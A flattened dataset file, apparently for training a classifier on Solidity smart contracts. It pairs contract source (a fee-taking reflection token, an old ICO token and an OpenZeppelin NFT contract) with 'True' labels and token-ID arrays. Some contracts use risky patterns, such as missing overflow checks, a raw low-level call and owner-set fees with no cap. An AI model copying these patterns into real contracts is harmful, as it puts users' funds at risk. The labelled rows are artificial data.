address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + send lock? // also, don't get caught in a circular sending event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensToExchangeForMarketing; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if ( overMinTokenBalance && !inSwapAndSend && from != uniswapV2Pair && SwapAndSendEnabled ) { SwapAndSend(contractTokenBalance); } if(feesOnSellersAndBuyers) { setFees(to); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] \|\| _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function setFees(address recipient) private { _taxFee = defaultTaxFee; _marketingFee = defaultMarketingFee; if (recipient == uniswapV2Pair) { // sell _marketingFee = _marketingFee4Sellers; } } function SwapAndSend(uint256 contractTokenBalance) private lockTheSwap { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), contractTokenBalance); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( contractTokenBalance, 0, // accept any amount of ETH path, address(this), block.timestamp ); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { marketingWallet.transfer(contractETHBalance); } } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function setDefaultMarketingFee(uint256 marketingFee) external onlyOwner() { defaultMarketingFee = marketingFee; } function setMarketingFee4Sellers(uint256 marketingFee4Sellers) external onlyOwner() { _marketingFee4Sellers = marketingFee4Sellers; } function setFeesOnSellersAndBuyers(bool _enabled) public onlyOwner() { feesOnSellersAndBuyers = _enabled; } function setSwapAndSendEnabled(bool _enabled) public onlyOwner() { SwapAndSendEnabled = _enabled; emit SwapAndSendEnabledUpdated(_enabled); } function setnumTokensToExchangeForMarketing(uint256 _numTokensToExchangeForMarketing) public onlyOwner() { numTokensToExchangeForMarketing = _numTokensToExchangeForMarketing; } function _setMarketingWallet(address payable wallet) external onlyOwner() { marketingWallet = wallet; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1017, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 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1008, 9059, 3643, 5728, 1024, 1008, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 2322, 1001, 3277, 9006, 3672, 1011, 25246, 25746, 22610, 24594, 1008, 1008, 12495, 3215, 2019, 1063, 6226, 1065, 2724, 1012, 1008, 1013, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1036, 4604, 2121, 1036, 2000, 1036, 7799, 1036, 2478, 1996, 1008, 21447, 7337, 1012, 1036, 3815, 1036, 2003, 2059, 2139, 29510, 2013, 1996, 20587, 1005, 1055, 1008, 21447, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 12495, 3215, 1037, 1063, 4651, 1065, 2724, 1012, 1008, 1013, 3853, 4651, 19699, 5358, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract StatusSecurity is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token / / NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. / string public name; // Token Name uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; // Where should the raised ETH go? uint256 public totalSupply; // This is a constructor function // which means the following function name has to match the contract name declared above function StatusSecurity() { balances[msg.sender] = 1000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X 100000. (CHANGE THIS) totalSupply = 1000000000000000000; // Update total supply (1000 for example) (CHANGE THIS) name = "Status Security"; // Set the name for display purposes (CHANGE THIS) decimals = 8; // Amount of decimals for display purposes (CHANGE THIS) symbol = "STS"; // Set the symbol for display purposes (CHANGE THIS) unitsOneEthCanBuy = 30000000; // Set the price of your token for the ICO (CHANGE THIS) fundsWallet = msg.sender; // The owner of the contract gets ETH } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; if (balances[fundsWallet] < amount) { return; } balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract / function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 1018, 1025, 3206, 19204, 1063, 1013, 1013, 1013, 1030, 2709, 2561, 3815, 1997, 19204, 2015, 3853, 21948, 6279, 22086, 1006, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 4425, 1007, 1063, 1065, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 3954, 1996, 4769, 2013, 2029, 1996, 5703, 2097, 2022, 5140, 1013, 1013, 1013, 1030, 2709, 1996, 5703, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 5703, 1007, 1063, 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//Contract based on [https://docs.openzeppelin.com/contracts/3.x/erc721](https://docs.openzeppelin.com/contracts/3.x/erc721) // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; contract IFFrog is ERC721URIStorage, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private _tokenIds; string private baseURI = "https://funkyfilmfrogs.io/NFT/ICONIC/"; constructor() ERC721("Iconic Film Frogs", "IFFrog") {} function mintNFT(address recipient) public onlyOwner returns (uint256) { _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); _safeMint(recipient, newItemId); return newItemId; } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function setBaseURI(string memory newBaseURI) public onlyOwner { baseURI = newBaseURI; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory base_URI = _baseURI(); return bytes(base_URI).length > 0 ? string(abi.encodePacked(base_URI, tokenId.toString(),".json")) : ""; } function burn(uint256 tokenId) public onlyOwner { require(_exists(tokenId), "Nonexistent token"); _burn(tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` / library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _setOwner(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; /** * @dev ERC721 token with storage based token URI management. / abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /* * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; 